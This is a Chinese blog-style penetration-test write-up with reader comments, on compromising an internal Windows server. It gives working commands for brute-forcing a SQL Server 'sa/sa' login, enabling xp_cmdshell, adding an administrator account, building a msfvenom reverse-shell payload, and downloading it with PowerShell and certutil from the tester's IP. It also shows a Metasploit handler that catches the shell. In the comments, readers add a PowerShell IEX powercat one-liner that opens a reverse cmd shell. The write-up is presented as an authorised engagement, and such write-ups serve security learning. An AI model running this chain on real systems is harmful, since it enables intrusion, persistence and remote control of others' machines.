0x00 前言
最近在客户现场对内网服务器进行渗透测试,发现了大量的弱口令,本次历程就是从这里开始···
0x01 弱口令
对目标ip进行端口扫描,开放端口为80,445,1433,3389
- 访问80端口,只是一个安装成功的界面,扫描一下目录看是否有源码泄露,无果
- 使用nmap脚本对445端口进行扫描,看是否存在ms17010等漏洞,无果
- 使用超级弱口令工具爆破1433,爆破成功,账号密码:sa/sa
- 同时对3389端口进行爆破,无果
因此确定了突破口,使用navicat成功连接sql server数据库
0x02 连接3389
翻了一下,没什么数据,尝试拿服务器吧,因此直接新建查询,开启xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
然后执行命令
exec master..xp_cmdshell "whoami";
是system权限,和想象中的一样
3389是开着的,不如加个用户直接连接远程桌面吧
加强密码强度,重新添加
exec master..xp_cmdshell "net user test paperpen123. /add";
exec master..xp_cmdshell "net localgroup administrators test /add";
一切都很顺利,开始连接3389,但遗憾的是
是win7,只允许单用户登录,如果挤他的话被发现就不能继续玩耍了,还是放弃连接3389吧
0x03 powershell下载木马
我还是把shell弹到本地来吧,方便操作,但是说着简单,该怎么弹呢?
需要强调一点,这里的内网不可以访问外网,因此无法使用命令从外网下载工具
那么可以这样,让他从我的本地服务器下载工具到他的服务器上就可以了
但是要关闭本机防火墙,执行后访问失败才想起来。我的ip是195.1.7.23
使用kali生成exe木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=195.1.7.23 LPORT=8888 -f exe > shell.exe
本地phpstudy快速搭建环境
将shell.exe放到网站根目录下,链接为http://195.1.7.23/shell.exe
本地监听8888端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 195.1.7.23
LHOST => 195.1.7.23
msf5 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/handler) > exploit
一切准备就绪,就差服务器执行shell.exe文件了。接下来的命令,大多是我朋友Calendula提供的,感谢一下
经测试,powershell是可以执行命令的,因此执行朋友Calendula给的下载命令
exec master..xp_cmdshell "powershell $client = new-object System.Net.WebClient";
exec master..xp_cmdshell "powershell $client.DownloadFile('http://195.1.7.23/shell.exe', 'shell.exe')";
这两句本可以合并到一起执行,但是前面尝试执行其他命令时发现有长度限制
所以拆分进行执行,但是遗憾的是
DownloadFile无法使用,具体因为什么也没搞清楚,因此放弃了这种方法
0x04 证书下载
朋友Calendula又给我提供了一种思路,使用certutil.exe,顿时惊呆、闻所未闻,命令如下:
exec master..xp_cmdshell 'certutil.exe -urlcache -split -f "http://195.1.7.23/shell.exe"';
使用dir查看,发现成功下载到了服务器上
0x05 反弹成功
就差一步了,输入下面的命令并紧张地点击了执行
exec master..xp_cmdshell 'shell.exe';
卡住了···,又执行了一遍,又卡住了···,又执行了一遍,什么情况···
回到监听界面,打算按下ctrl+c重新监听,结果进了meterpreter界面,原来是它卡住了···
激动地截了张图
查看了一下是不是域环境
没错是的,看来还有很长的路要走。。
0x06 结语
这次就写到这吧,如有进展,还会更新。欢迎各位师傅们留言讨论,互相交流,互相学习,共同进步。
@1344209066128078
报错 tvt
使用“2”个参数调用“DownloadFile”时发生异常:“在 WebClient 请求期间发生异常。
@freedomwi****@16 有可能是内网渗透站库分离情况。
@PaperPen 是不是你的ip太长了,128位以内,我的ip可以反弹。
sql server能弱口令爆破,并且没禁用xp_cmdshell,这运气是爆棚了吧
@猫来了 感谢师傅评论,师傅说的语句我也试过了,还是过长,回头我试一下nishang的反弹shell脚本
@1344209066128078 这个不行的,我当时试了。
我之前也是碰到这种情况,我的解决方案是通过powershell直接反弹cmd,长度在128位以内。
原payload
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.159.134 -p 6666 -e cmd
更改为
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://xxx/1.ps1');a -c 192.168.159.134 -p 6666 -e cmd
把里面的函数改为a就可以,不过这里反弹的是cmd
也可以直接在powershell脚本里把需要反弹的地址硬编码进去。需要反弹powershell的话可以通过nishang的反弹shell脚本直接反弹powershell。
@这个名字挺好 非常感谢师傅指点,学到了
可以尝试多用户登陆
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/
@suolong 哈哈,你信息搜集一定很厉害
打码露点了 wxy 感谢分享
@tongx**** 哈哈,我也是第一次用,还是朋友教的
@1344209066128078 非常感谢师傅,学到了。刚才我让陈师傅更新了一下,所以你的评论没了,感谢再次评论!
DownloadFile无法使用应该是分开2次执行导致第二次执行的时候$client没有定义,可以简化成 一句话执行
不过长度超过了128,不过再简单缩减下就好了,改成
url那里还可以用短链接,又能省几个字符,如果能用短链接的话
水文无疑了